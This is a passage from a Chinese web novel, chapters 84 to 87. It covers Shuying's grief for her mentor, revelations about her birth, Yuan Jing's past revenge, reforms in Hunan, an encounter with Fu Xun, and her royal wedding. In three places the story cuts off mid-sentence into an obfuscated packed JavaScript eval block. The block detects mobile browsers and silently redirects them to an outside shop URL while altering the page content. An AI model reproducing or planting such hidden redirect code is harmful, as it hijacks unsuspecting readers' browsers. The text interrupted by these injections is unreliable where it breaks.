“师父一开始并不嗜酒,南征之后就越来越爱喝”,天枢注视着波面,眼里尽是怀念,“他说,世上无计可施的事太多,除了一醉,寻不到别的法子消愁。” 舜英轻声道:“听阿姿说,许统领本来很爱说爱笑。可自从征和六年,他抱回许娈牌位之后,就再没笑过。” 天枢打开一壶酒,向湖面遥遥一敬,喝了一口:“师父时常说,同去滬南二百二十三人,只回来了他一个。他总觉得自己被战友们抛弃了,末了末了,还是回了滬南、长眠于此。” “师父随昭王南巡之前,同我喝了一夜酒,说终于将阿姿抚养成人,你也有了好师父和好前程,他再无牵挂,懒得继续熬下去了。” “我想,他在坠入龙川湖时,是轻松而欢喜的。” 就像,颠沛流离了许多年,终得以与子同归。 所有的酒壶都倒空了,舜英沉默了很久才开口:“请大统领替我邀请陛下,明晚同游龙川湖。” 84. 去去从此辞 目送天枢走远,舜英看了看放在一旁的刀,心逐渐凉透,慢慢涌起愤怒和绝望。 “苻洵,你到底在滬南干了什么?” 她悲伤痛苦地质问,一颗颗泪水从眼角滴落,呆了片刻,奋力将刀掷进龙川湖。银白弯刀没入湖水的刹那,她如梦初醒,飞快跃入湖水将刀捞起。 夜风吹透湿淋淋的衣服,她清醒了些,无力地靠在一棵柳树上,闭上双眼。 黑暗的视野里浮起一张又一张人脸,贺浮白、郭越、许一舟、郭洋、丹河谷七万濒死的将士、昭王、崔怜云…… 她看着那些脸,温柔笑了,决然地轻声说:“我懂了,值得。” 转头看向西北方向,视线越过无数城池和山川,落在国都昇阳、王宫深处,那高巍冰冷的王座。 “再冰冷的枷锁,总要有人去戴。” “我此生已注定不得自由,总该有更多人能得到自由。” . 摇一艘乌篷小船、携两壶青梅淡酒、抱一架焦尾古琴,夜深、风静、湖波平。 青梅酒极淡,舜英只喝得微醺,散漫地躺在船尾、枕着漫天星光,看元旻手法生疏地调着弦。 久违的素馨花香弥散在身侧,元旻发现她今夜精心妆扮过,淡扫蛾眉、薄施脂粉、眼眸像两泓秋水,额心还贴了花钿,衣裙的花纹样式也更繁复精美,从往昔的娇俏轻灵变得庄丽华贵。 随着年岁增长,她就像一枝初放的花蕾,在他身旁一点点绽放,越来越有风韵,逐渐透出灼人的艳光。 他暗自欣喜,调好了琴弦,柔声问:“想听什么?” 舜英双眸有些迷离,和着漫天星光、悠悠吟唱起来:“结发为夫妻,恩爱两不疑。欢娱在今夕,嬿婉及良时……” “……参辰皆已没,去去从此辞。行役在战场,相见未有期……”琴音清冷悠远,渡水而去三千里,龙川湖的孤魂野鬼都逸出水面,在月光下轻柔和歌。 “……生当复来归,死当长相思。” 琴音逐渐低哑,渐至寂无。靠在船尾的舜英已悄然入梦,睡颜恬静。 舜英梦见了许一舟,将她捆在胸前,燮陵、宛陵、阊江、西津渡、龙城、睢阳、昇阳……除了时不时停下来喂她几口米汤,其余时间都在昼夜不歇地奔袭,一去南北三千里。 浑身是血的许一舟冲进勤政殿,跪下去、小心翼翼解开她的襁褓,双手举到昭王面前。 “此女名舜英,隐蝠卫副统领崔怜云之女。怜云为维护征南清誉,已然自焚身亡。求陛下怜悯舜英,让她堂堂正正行于日光之下。” 元珙尚在沉思,伴驾的崔夫人已红了眼圈,三步并作两步走下去,并肩跪在许一舟右侧:“亡国之君的种子,撒到大翊的土壤,长出是我大翊儿女,舜英乃忠烈之后!若陛下为难,臣妾可令崔氏长房以嫡女之名收养此女。” 想了想又苦笑着说:“可她大概不愿再与崔姓有干系了。” 元珙问她:“怜云的母族查到了没有?” 崔夫人点点头:“刚查到,是羽民九姓中的‘褚’,重明之后。” 元珙微笑:“甚好,不必急着归入崔姓,朕会给她更高贵的身份。她将被养在中宫王后名下,与朕的嫡子女同吃同住,教养待遇等同王子。” “滬南百姓重视祖宗和血脉,朕将纳郑姓宗室女入后宫,以姻亲促两地融合;郑氏宫妃若能诞下王子,并且该王子能顺利就藩,此女将归入褚姓。” “若朕子嗣不继,此女是郑后主与云妃的后嗣,将归入郑姓,就藩滬南;滬南男尊女卑,在郑妃之子顺利就藩之前,她不能是女子,只能是男儿身。” “若她最终归入褚姓,朕将收她为义女,食邑、府邸、婚嫁等礼遇皆等同公主。” 那个夜晚,是征和六年七月初七,乞巧节。 次日清晨,元珙抱着襁褓中的舜英走进景和宫,叮嘱冯姮把她当男孩养大,不许任何人知晓她是女儿身。 冯姮问及孩子来历,元珙酝酿了半天才编好措辞:“这孩子生母是远征滬南的一名女将军,与一郑姓宗室子珠胎暗结,这孩子爹娘皆不愿叛国。后来,她娘伤了她爹性命,然后自戕了。” “朕应当善待忠烈之后,赐给她高贵出身,让她从小接受最好的教育。” 冯姮并未多问,轻轻接过襁褓,抱到庭中的梨树下,慢慢坐下来,轻声哄着。 两岁的小元旻跑过来,乌溜溜的眼睛饶有兴趣盯着襁褓中的她,初生的她沐浴在晴空白日下,毫不畏缩地与他无声对视。 婴孩模糊的视线逐渐清晰,舜英睁开睡眼,看见的是同样一双眼睛,跨越十九年光阴,与她静静对视。 腰间轻微一震,伸手摸去,那块随她颠沛流离近五个月、坚若磐石的双鱼玉佩,此刻裂作了两半。 她注视着元旻双眸,认真地、一字字说:“陛下,我想清楚了。” “我是褚舜英,母亲是受尽唾骂的无名英雄,生父……生父国破家亡。但,我就是我,无需高贵的父亲为我加持。” “我之所思,既因战乱而生,性命由无数义士拼死保下,又自小食万民之禄,唯有护好这锦绣河山,才对得起如此托举与牺牲。” “我之所求,刀枪入库、马放南山。我曾为武将,自当舍生忘死、奋勇杀敌,御敌国门外、开万世基业。却仍希冀这世间,能少几座宁皋山、少几条丹河谷、少几座被焚毁的龙兴楼。” “陛下若不弃,我愿与陛下并肩,观文教于六经、阅武功于七德,终其一生,携手共治出个河清海晏的大翊。” . 元璟站在大庆门下,看着送亲队伍从宫墙后迤逦而来,簇拥着已在宝慈宫拜别冯姮的元昙。 今天的元昙又明艳又妩媚,着一身华袿飞髾、曳地长裙,用金丝银线绣出曲水、凰羽和流云,再以孔雀羽线绣出八对神鸟。正红色的喜服衬得她肤白胜雪、眸如春水,额心贴着银红梅花钿,颊晕嫩吴香、唇点石榴娇。 生父已逝,兄长又都远在滬南,只能由他这个九叔暂代父兄,送她出降。 明德门外,站着同样身穿喜袍的冯彬,笑得合不拢嘴,双颊通红、眼下两片乌青,一看就是高兴得好几宿没睡。 元璟并不怎么看得上冯彬,如此优柔荏弱、毫无血性,总令他想到那个令他妒恨交加的男人,就连死、都死得如此荒唐窝囊。 元昙刚回昇阳时,他就私底下找聊她过,说适龄的宗室女多得是,两姓之好不一定非得出降她。又说元旻很通情达理,还拖着没下圣旨,在等她想清楚,一切都还有转圜。 可元昙就跟吃了秤砣般,一口咬定自己和冯彬情投意合,心甘情愿结作连理。 他想破了脑袋都不明白,远有元旻、元旭,近有元珙、元昀、元旷,她在如此多的优秀男子中长大,怎就一眼看中了冯彬那种货色。 好在,鹤华公主府就在城东,离桐花别苑并不远。有个不虞、多的是人替她撑腰。 散漫无序地想着,元璟牵着她走过一道道宫墙,将她扶上迎亲的朱漆轺车,然后上马、护在轺车之侧,随送亲队伍慢慢走向鹤华公主府。 离明德门越来越远,元璟回头、遥遥望了一眼巍峨的宫墙。 蓦地想起征和二年春,被占沿江二十城的翊国为求和,向滬国进贡财宝无数、绝色美女百名。 那年正月二十,百名贡女在大庆殿拜别国君、依次坐上马车,车队驶过朱雀大街、驶出昇阳城东华门。 那时候,寻找阿云大半年、毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温沉如水,亦师、亦兄、亦友的一代名士辛佑安,就因他元璟被仇恨冲昏的头脑,被如此荒唐地、活活打死了。 至死,佑安都是温厚而包容的,从未怨过他分毫,只在临终前紧紧攥住他的手,眼里闪着乞求的泪光:“阿璟,战争已结束,莫要再造杀孽了。” “滬南百姓苦啊,三百年改朝换代四次,白骨露于野,千里无鸡鸣。阿璟,答应我……我走之后,替我守着滬南的太平,让百姓莫要再遭战火荼毒…” 愧疚与悲痛缠得他喘不过气,他涕泪齐下、失声恸哭:“我答应你……我都答应你……” 元璟本来还想立一张阿云的牌位,可她不喜欢“崔怜云”这三个字,“褚秋池”对他而言又太过陌生。想了又想,只好收敛了那块被他赌气摔碎的羊脂玉碎片,装入沉香木匣,与他两位挚友比肩供奉。 征和六年七月初,他攻破燮陵,目睹郑尧嘉不堪地死去,又杀了郭淑娴,并将滬国王宫的凤阁龙楼付之一炬。 征和六年八月初,他追杀千里,终于千刀万剐了郭越老贼、并将一万虎威残部屠戮殆尽。 征和十一年五月,他终于抓住了降将萧胤的把柄,将其三族全部送上了断头台。 大仇得报的感觉,并没有想象中那般畅快。目睹最后一个仇人惨死,他的胸腔忽然变得空荡荡的,不知该去往何处。 元珙催他娶妻生子、过安生日子,他能拖就拖、能蒙则蒙。总觉得,自己若真的幸福美满了,对不住那些孤零零、冰冷冷躺在地下的故人。 南征之后从不与他来往的许一舟,在此刻找上了他。 85. 归期未有期 许一舟看着元璟,开门见山地说:“四殿下的兴庆宫,有个小伴读叫阿七,你去收他为徒吧。” “那孩子年龄太小,在宫学里跟不上进度,你文武双全,教个小孩不成问题。好好教他本事,让他成材、往后活得更好。” “你说收徒就收徒么?”元璟嗤笑,“我吃饱了撑的,去教王后的养子,给崔师姐添堵。” “你会收他的”,许一舟面无表情,眼神却十分笃定,“因为,他就是我从滬南带回的,怜云的骨血。” “你若不信,等他过几年长开了,再看看像与不像。” 似被一个天雷劈中,元璟半晌才回过神,攥住许一舟的手反复确认多次,强压住心头的狂喜,迫不及待去了兴庆宫。 小元旻那会儿跟他不熟,对他谦恭地施完礼之后,继续读书去了,他却一眼就瞧见了元旻身边那瘦小的男孩,那远山眉杏仁眼,生得跟阿云一模一样。 他笃定那就是阿云的孩子,亲爹是谁不重要,反正一日为师终身为父,往后他就是这孩子的爹。 阿七一天天长大,他暗自盘算着,哪天把阿七收进宗谱玉牒,收作儿子放在自己名下。 事情的走向却越来越诡异。 第一次出访荣国,元璟在阿七生病时突兀地发现,十七岁的阿七居然没有长喉结,还漾着一股他这种风月老手才能嗅到的少女香…… 他跑去问元旻,元旻很平静地说,就是九叔猜的那样,那是个女儿身。 元璟一时有些懵,又问元旻,让个姑娘跟他同吃同住,怎么想的。元旻轻描淡写地说,就是男人对女人那样想的,已经向父王讨到赐婚,她已经只属于自己。 末了,那黑心种子居然大言不惭地劝慰,九叔年华正好,若此时成婚,过不了几年就儿孙满堂了。 若非看在大哥面子上,他当时就想掐死那黑心种子。 辛辛苦苦教了十四年、疼了十四年的干儿子,生生成了侄媳妇。 . 褚秋水注视着眼前的不速之客,强压心底诧异,保持着端庄有礼的微笑。 元璟打破了沉默,从袖中取出一张地契递过去,正是桐花别苑隔壁那片五十亩荒地的。 “国君大婚,王后嫁妆俱是由宗正寺操办,其他俗物实在无法添妆。” 泛黄的地契,日期是征和一年五月。 “当年同你阿姐吵了架,一回昇阳就后悔了”,元璟苦涩地笑笑,“用攒下的零花钱买了一百亩地,想着建个大宅子哄她高兴,风风光光娶了她。” “末了,只用上一半。” 褚秋水怔住了,看看那地契、又看看元璟,猛然猜到了什么,长长叹气,眼圈红了。 征和六年腊月,元珙命胞弟元璟、长子元晞,率文武百官前往西津渡,将在征南之战中殒身的功臣,以国葬之礼迎回昇阳,供奉太庙。 举国缟素。 浅灰的云覆压万里,鹅毛大雪纷纷扬扬如飞絮,千年来从未上冻的长流川,居然结了一层薄冰。 元璟捧着文端公辛佑安的灵位、元晞捧着忠定公贺浮白的灵位,而凝香捧着的那张灵牌、空空如也。 怜云讨厌自己本来的名字,却来不及为自己取个新名字,就匆匆离世。 元珙跪坐在太庙地上,看了看凝香捧在手中的灵牌,问道:“想好了没?” 凝香打开被搓揉多次、已显得暗旧的香囊,里面只有一张字条:君问归期未有期,巴山夜雨涨秋池.何当共剪西窗烛?却话巴山夜雨时。 她顿时潸然泪下:“姐姐叫秋池,我叫秋水。” 望穿秋水,不见还家,潸潸泪似麻。 元珙饱蘸金粉朱漆,抬笔亲自在无字灵牌写下“已故司南侯、内卫统领褚秋池之灵位”。 上书房内,许一舟膝行到元珙身前,珍而重之地奉上两个锦囊。 旧的,是贺浮白临终所托;新的,是辛佑安临终所托。内容居然出奇地一致。 他们无父无母、无妻无子,一身功业、只想为天下寒门子弟求个机会:英雄不问出处,圣贤不问出身。 征和七年,元珙诏令,各州郡开设选文堂、演武堂,并设恩科,三年一文试、两年一武选。 . 元旻在萝州等了半个月,待舜英身子大好、精神振作,就打算启程回昇阳。他不爱招摇,回去时并未用国君仪仗,只安排了两架驷马安车,他与舜英同乘前车,郑锦珠与许姿乘坐后车。 是的,郑锦珠等元旭收完叛乱的尾,便奏请元旻,离开滬南这片伤心地,回昇阳与冯姮作伴。元旻自然求之不得。 元旭虽十分不舍,但经历这动荡的五个月后,也沉稳了许多,明白母亲此做法的深意,只在送别时向母亲许诺,定会令滬南焕然一新。 半年来,水患、时疫、乱军接踵而至,元旻大笔一挥、免了滬南道三年的赋税。 此地果然富庶,从乱党家中抄来的财宝,堆了满满五十间屋子,七成收走冲抵国库,三成留给当地四大州府。 也是一笔不小的数目。 新的皋州、沵州、河州刺史到任很快,还没来得及上衙门接手,先被平南侯请到府中,商讨这笔款项的去处。 翊国历来对军队掌控甚严,州兵都是由朝廷直接发俸,于是他们大致商定、将这笔巨款用作营造资金。加固各大河堤、铺路修桥,又加盖保育院、康养院,使弃婴有所长、寡孤独废疾者老有所依,兴土木还能以工代赈,一举双得。 合计下来还剩约两三间屋子的财帛。 于是元旭提出,修建女子官塾,并建织造坊、绣坊、珍宝坊等等广收女工…… 教她们学识、助她们自力更生。而后涤旧更新、移风易俗,破除滬南历来轻贱女子的恶习。 元旭有此想法非一日之功,郑锦珠半生的飘零只在他心里起了个头。他有一双慈悲的眼睛,途经维阳、宜邑、阊江时,人人称道的风月无边,他却只看见那些雏妓不得已沦落风尘的悲惨。 有一日,舜英与天璇天玑闲聊,说起引渡亡灵见到的种种,弃婴塔里无男婴、学堂之上无罗裙,又说起那些被砌进墙、埋到树下、沉了塘的小媳妇…… 舜英不解地问天璇:“你当年不是在织造坊做工么,怎不偷偷攒些钱,带妹妹一起跑?” 天璇冷笑:“滬南大小作坊,但凡是女人做工,出嫁前工钱直接给她爹、出嫁后直接给她夫婿。我干了两年,半个铜子儿都没见着。” 舜英也无语了,正沉思着。在檐下听了不知多久的元旭冷声道:“那就由官府监督老板,亲眼看他们将工钱发放到女工手中!” 倒也是个办法,只需前几年多费些人力,待那些女子攒了钱,尝到了自给自足的甜头,自然不愿回去继续被盘剥。 元旭又说:“请阿姊放心回去,你招安的苦心不会白费。” 舜英会心一笑,觉得这孩子很识趣,离开九霄山以后,她每次听到别人叫自己“姐姐”都有点神色古怪,元旭虽不知为何,却很快就从善如流地改了口。 元旭将商议的结果写了封厚厚的奏章,元旻一字字读完后,含笑道:“有阿旭在,朕可放心回京了。” 滬南道动荡初平,还需内卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14014601|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留驻监察,天璇、天玑毛遂自荐,元旻不假思索就准了。 两姐妹从此有了新的职务,隐蝠卫滬南分部左、右指挥使。 这个波澜壮阔的故事,从征和二年春到永平一年冬,历时二十五年,开始于一群女子,也结束于另一群女子。 . 腊月初五,一行人从宜邑城,经由西津渡摆渡到维阳城,抵达维阳时,正是华灯初上时,人声熙攘,街市如昼。 二十多年前,许一舟、崔怜云、贺浮白、辛佑安经由西津渡南下时,山河破碎、狼烟四起,他们走进飘摇的风雨里,一去不复返。 二十多年后,许一舟之女、崔怜云之女经由西津渡北上时,山河无恙、尘埃落定;有寒门学子之处,尽是贺、辛之门生。他们将如前人所愿,共同守护这大好河山。 走过西津渡时,舜英和许姿不约而同地,仰头望向那片他们曾看过的星空,再合上双目感受着他们曾吹过的晚风。 想借给他们、自己的双眼,让他们看一看二十年后,看一看这烟火人间、国泰民安。 屿城的夜市最是繁华,在沧浪墅安顿好之后,许姿迫不及待拉着舜英去逛夜市,元旻忙换了服饰、叫上天枢天权一同跟了过去。 人来人往、车水马龙,维阳城内翊国人最多,其次就是荣国人。两国百姓经过多年通婚来往融合,已算得上同文同种,相貌和装束都十分接近,唯一不同便是女子的装扮和仪态。 翊国女子热情奔放,大都亲密地挽着郎君或女伴的臂弯、并肩而行;荣国女子温婉内敛,大都戴着帷帽,冬季的白纱帷幕极厚,几乎看不清面貌,她们大都落后郎君半步、款款跟随。 发现元旻正盯着街上亲热的成双成对,许姿很识趣地松开了舜英。舜英会意、上前挽住元旻臂弯,一起走向熙熙攘攘的人群。 前方停了辆翠幄青帷的香车,年轻男子正扶着头戴帷帽的女子上车,正是苻洵和锦瑟。灯火幽微下,锦瑟侧身上车时,小腹已然隆起。 锦瑟上车之后,苻洵并未跟着上去,只隔着车窗同她温言细语地说:“想吃酸枣糕?前面那家铺子有卖,外头冷,你先在车上等我片刻。” 随后,他碎步小跑了一段路,进了家客流如云的点心铺子,半晌之后,提着油纸包好的糕点走了出来。 见到白龙鱼服的元旻,他先将糕点递给同来的秦川,然后走过来对他们二人躬身长揖,姿态恭敬而疏离。 元旻表情并无异常,含笑道:“建业侯携妻不远千里来敝国游玩,还望尽兴。” 苻洵也含笑回答:“拙荆祖籍滬南,怀妊之后思念故乡风味,暂借贵地小住数月。” 元旻赞许道:“倒真是个知冷识热的好夫君,前几月屿城军管,幸未惊扰到贵夫人。” 苻洵附和说:“外臣辞官之后便来维阳陪伴拙荆,闭关数月、日夜相对,夫妻感情深厚不少,外臣该多谢陛下才是。” 他又开始鬼话连篇了…… 元旻心情很好,拉着舜英去附近首饰铺,替那未出世的孩子挑了只白玉长命锁。略加思忖,又从天枢那取来一份请柬递给舜英,示意她一并亲手交给苻洵。 舜英将长命锁双手递过去,面带微笑敛衽一礼:“恭祝建业侯喜得麟子,螽斯衍庆。” 苻洵意味深长瞥了她一眼,双手接过长命锁:“在下替那未出世的孩子答谢王后殿下。” “王后”二字咬得十分重,带着讥诮和漫不经心。 舜英深吸一口气,又拿起帛书请柬,再次双手奉上:“国君大婚,请建业侯转交贵国陛下,遣使者前来观礼。” 86. 背道渐行远 苻洵单手拿过请柬,眼里闪过一丝玩味,却不再搭理舜英,只抬眸看向元旻、笑容可掬地说:“恭喜陛下佳偶天成,夙愿得偿。” 随后,不等他们二人回话,挺直上身款款走向马车。 错身而过的刹那,风带起熟悉的甘甜木香吹拂而过,舜英转身看向元旻笑了:“我们再去前面逛逛?” 与元旻携手走过马车时,她目不斜视、脑袋没有半分偏转。 走远后,她抬头看向天空,唇边有苍凉而无奈的笑、一闪而过。 九霄山那将开阳困了近十天的木石阵,护国公府那支被磨掉花纹的箭,郭皓指缝间那缕云锦布丝,桩桩件件……与苻洵结交的,根本不是单纯忠直的郭洋,而是居心叵测的郭皓。 想得再深远些,今年滬南道这场连环的弥天大祸,极可能有苻洵的手笔。 同苻洵在九霄山告别时,她曾真的期盼过他余生幸福,他们彼此各自安好。到头来蓦然发现,那不过是自己可笑的一厢情愿。 原来,他们早就背道而驰了。 情窦初开又如何?怦然心动又如何?他是世上最懂她知她、独一无二的人又如何? 苻洵不可能入翊为将,褚舜英即将成为翊国王后。 人生南北多歧路,君向潇湘我向秦。 舜英又看向元旻,高大轩昂的君王之姿,如耀眼的日月。 她默默打算着,九霄山的山洞发生的事,自然得守口如瓶。此时贸然揭发,且不说没什么翔实证据,她了解元旻对苻洵的私怨,这一件事足以挑起两国战火。今年在滬南连环灾祸中死去的人活不过来,两国边境又增战死冤魂。 且先把九霄山一带、以及屿城的关隘布防得更严些吧,同时让摇光多安插些人,将苻洵盯得紧些。 然后再想法子,在确定不会触怒君王逆鳞的前提下,慢慢同他商讨对策。 . 街道两侧的昏黄灯光照进车窗,照得羊脂白玉泛起温润的光晕。苻洵将长命锁放在掌心,翻来覆去细看:边缘镂刻的鱼戏莲叶花纹、簇拥着正中的祝福,正面是“麒麟送子”、反面是“长命富贵”。 锦瑟觑着他的脸色,屏息敛声。 苻洵对她一直都很温柔小意,可有时候对外人,他的狠戾总令她遍体生寒。 看了半晌,苻洵将长命锁递给她:“这材质做工还行,你若喜欢就收着,以后若真有了自己的孩子再用。” 锦瑟乖顺地接过来,握在手心,踌躇半晌还是熬不过那缕不甘,轻声问:“是那位夫人么?” 方才苻洵在车外与元旻说话时,她一直在帘子后悄然窥视,舜英递给苻洵长命锁和请柬时,她赫然瞥见那张与自己八九分相像的脸。 苻洵盯着请柬,绢帛底色深红,每个字、每寸花纹都是金丝织上去的,小小一方请柬,需靡费织工数月之功——象征大国君主的无上权势威严。他意味深长地笑了:“她已遥如天上月。” 又轻声安慰锦瑟:“你不必多想,我替你赎身不过爱屋及乌,纳为妾侍也不过扯个幌子,并无冒犯之意。你若一直找不到去处,我也会一直这样护着你、对你好,权当是个念想。” 一直待她这样好,对于她这样的出身,大概、也许就够了吧。锦瑟从小到大,唯一学会的就是认命。 可是,若她心有不甘呢? 苻洵又纳妾了。 去年秋天政变之后,苻洵一走就是小半年。 锦瑟在洛川别院等啊等,那时候建宁王和萧王后对她十分照拂,更在年节之后,向远游归来的苻洵提议娶她为妻。 可才过了短短五个月,一切就都变了。 先是建宁王要赐死她,然后是两个月前,郎琊奉命来维阳保护她,聊起主子,说洛川别苑的女人越来越多,姚晟已经在着手扩建宅邸,差不多年底完工。 萧王后赐的、同僚送的…… 郎琊又说,主子大半年没回灵昌,连那些女人是谁都分不清。 还说,王上给主子传了信,召他带上她回灵昌过年。 锦瑟不笨,晓得苻洵手底下就数郎琊嘴严,郎琊告诉她的,就是苻洵想告诉她的。 其实,半年前离开洛川别院时,苻洵就严令府中所有仆役下属,一律称锦瑟为“小夫人”,由她领管家之权。 府中无人不惧苻洵,自然无人敢不敬她。 小夫人不是真夫人,苻沣继位后,苻洵在朝中地位水涨船高,加之战功显赫、前途无量,想嫁他为妻的贵女数不胜数,可洛川别院的中馈之位一直空悬。 经此一事,锦瑟想,也许会永远空悬吧。 . 大婚的吉日定在腊月二十六,马车出了维阳便一路狂奔,终于在腊月十七赶回了昇阳。 褚宅位于昇阳西郊,舜英一踏进府门,顿时瞠目结舌、僵在原地。 空屋子、院子、花园空地、甚至屋后的演武场,都满满当当摆着宗正寺送过来的王后妆奁。单子是年初就由冯姮和元旻定好的,共一百二十八抬。 之前冯姮是异国联姻,所有嫁妆皆由北宛抬入,宗正寺五十多年未曾置办过王后妆奁,这次卯足了劲,采办之物精美绝伦、琳琅满目。 各色绫娟、丝绸、锦缎、绒线、缂绣、珠宝、香料等等不一而足,还有双数的沉香木箱、沉香木匣、沉香木博古架、沉香木斗柜、玉盘玉碗玉钩玉如意、琉璃宫灯…… 一堆堂弟堂妹连走路都轻了些,生怕一不小心磕着碰着了。 舜英惊呆之余有些忧心,堆得这么满,如何摆酒? 褚秋水看出她心中所想,笑着宽慰她:“无妨,腊月十九开始进妆奁,抬个两天就腾空了。” 国君大婚不似民间,并无母族摆酒的习俗。可舜英有许多想请来喝喜酒的朋友,他们的品级和身份进不了大婚的宫宴,于是她想先在褚宅摆上几桌,婚前最后一次与他们把酒言欢。 腊月二十一摆在褚宅的小宴,分散各地的飞廉七星都赶来了;周睿才、单瑶带着典客署的同僚,云飞燕带着云秉奕,许姿拉着夫婿……坐了满满六桌。 滬南百废待兴,顾星阑和元旭忙得抽不开身,却都托天璇天玑送来了贺礼。 武煊是最后到的,风尘仆仆的他,衣服都没来得及换,就那样携一身风雪,大步流星地走进来。 依然是熟悉的爽朗大笑,扬声道:“以后咱们就是亲戚了,发小变四嫂,真好。” 开琼筵以坐花,飞羽觞而醉月,高朋满座、觥筹交错。 热热闹闹、酒酣耳热之际,院门口忽然传来个带笑的女声:“褚姐姐,还有空位没,我来讨几口酒喝?” 那人一走进院子,宾客齐刷刷下桌,跪了一地。 穿一身素色夹棉长袍,披了件银色大氅,拉起的风帽衬得她一张脸又明亮又娇俏,正是元晴。 她身后还跟着个同样装束的小姑娘,追着她喊:“师姐,老先生不肯进来。” 元晴说:“无妨,他修炼的时候只能吃淡食,随他去吧。” 然后走到她身边的空位坐下,挽住了她臂弯,笑吟吟地说:“好久不见,下次回来该唤你四嫂了。” 舜英替元晴斟满酒,碰了碰杯,有些讶异:“你不去喜宴了?” 元晴先喝光了她倒的酒,又自顾自倒了三杯一饮而尽:“国君喜宴有什么好去的?远不及你这儿鲜亮热闹。再说我赶着去龙骨关,等不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此夜,褚宅灯火通明、彻夜不熄。 舜英曾听许姿说,女孩儿出嫁的头天夜里,通常会失眠。可她很早就入睡了,一梦酣沉。 梦里的她,没有味觉、嗅觉、视觉、听觉和触觉,无边无际的寂静虚空;她先触到了柔软的丝缎,穿在身上、绕在指尖;随后听到了吹吹打打的笙箫、礼乐声渐行渐近…… 然后,视野显出第一抹色彩——新嫁娘金翠交织的雉羽面扇,再然后,她嗅到了似曾相识的甘甜木香。 一双微凉发颤的手与她交握,抽走了她手中的面扇,映入眼帘的是铺天盖地的正红,绣着螭龙、白狮和雉的图纹,龙凤红烛的映照下,新郎的那张脸从模糊逐渐清晰…… 即将看清那张脸的刹那,她猛然惊醒,浑身冷汗湿透,心脏噗通噗通狂跳,像是要蹦出胸腔。 她没有掌灯,轻手轻脚披衣起来,光脚踩在地上,无声走到隔间。 借着屋外廊下灯笼的光,她从多宝阁抽出一方细长木盒,钥匙插进锁扣“咔擦”轻响,白色缎面垫层上,静静躺着一把银白弯刀、一条皎洁长鞭、以及一个小巧的红色瓷瓶。 她看了片刻,合上盒盖扣上锁扣,将木盒放回多宝阁,拿着钥匙走了出去,一直走到偏院的荷塘边,将那把精美的黄铜钥匙丢向池塘深处。 回到闺阁时,屋内已掌灯,侍婢正四处寻她。已是卯初,再过三刻使臣就要到了。 春羽领着一队婢女进来,抬进浴桶、灌满热水、滴入香露、洒满花瓣,同时燃三支降真香,侍奉她沐浴兰汤。 笙箫、鼓乐声渐行渐近…… 87. 至亲至疏夫妻 沐浴熏香后,是舜英熟悉的步骤:净面、开脸、敷面脂、扑粉,眉绘螺黛远山长、胭脂晕出嫩吴香、双唇涂抹石榴绛,再分别在额心、双颊贴上金色花钿,上下唇的正中点上金粉。 乌黑长发垂落如流水,梳头嬷嬷一绺绺挑起来,层层叠叠绾作不知名的繁复发髻。 礼乐声已至大门口,片刻之后,院外传来整齐而轻微的脚步声,抬眼望向院门,二十余名景和宫的女官、女史和婢女,每人手捧大小不一的箱子、匣子鱼贯而入。 春羽迎了出去,走在队首,率领她们进入闺阁外的红色帷帐。 褚秋水身为家主,着朝服迎出大门,面北三拜,鼓乐再响三声,家主接引奉迎正、副使从正门进入。 同时,春羽领着景和宫的女官、女史和婢女从红色帷帐走出,依次进入闺阁,每个人手中的箱、匣都换成了托盘,分别盛着首饰、鸾冠、吉服、袜、翘头履等庆典冠服。 赤金镶珊瑚的九鸾冠占了大半个头,再横七竖八插了一堆钗、簪、梳、步摇…她感觉脑袋霎时沉了几分,脖子快被压断了。 就像这王后的宝座,华美而沉重。 白绸中单朱色的领、褾、襈上织着金色的凰羽纹,吉服是天青色交领大袖曳地长裙,以金丝银线满绣曲水流云、山川河流,以各色丝线绣出九对神鸟:绯红的朱雀,赤金的金乌,玄色的玄鸟,深青的青鸾,赤文青质的毕方,深红的重明,翡翠绿的孔雀,青羽红尾的灭蒙。走动间华彩粲然,洇出团团光晕。 再度穿上这些的图纹,舜英已无当初的惶恐和迷惘,反觉着无比镇定,带着献祭般的决心。 女官拉开闺阁房门,她深吸一口气,昂首挺胸、迈着端正的步伐款款走向前堂,缓慢而坚定。 接过典册和宝绶,坐上前堂主位,候在侯府大门外金色帷帐中的文武百官鱼贯而入,文官居东、武官居西,井然有序地排成两列,从前堂一直排到了大门口,齐齐对她下跪,稽首山呼:“王后千秋!” 当跪在队首的奉迎正使——她的师父元璟抬头仰视她的刹那,她感觉双肩又沉了几分。这大好河山的万钧重担,往后将由她和元旻一起承担了。 随后,她在宫令和女官的引导下走出前堂、登上停在门口的重翟车。仪仗队和侍卫簇拥着重翟车,文武百官骑马乘车紧随其后,奉迎队伍浩浩荡荡驶向王宫。 明德、宣政、大庆三门如九重天阙次第展开,舜英下车后坐上十六抬的凰辇,停在大庆殿的丹陛之下。 元旻也穿天青色交领大袖长袍,以金丝银线满绣曲水流云、日月星辰,并同样以彩色丝线绣出九对神鸟。在高不可攀的巍巍丹陛顶端,长身玉立,唇角噙笑,沉静注视着款款走下轿辇的她。 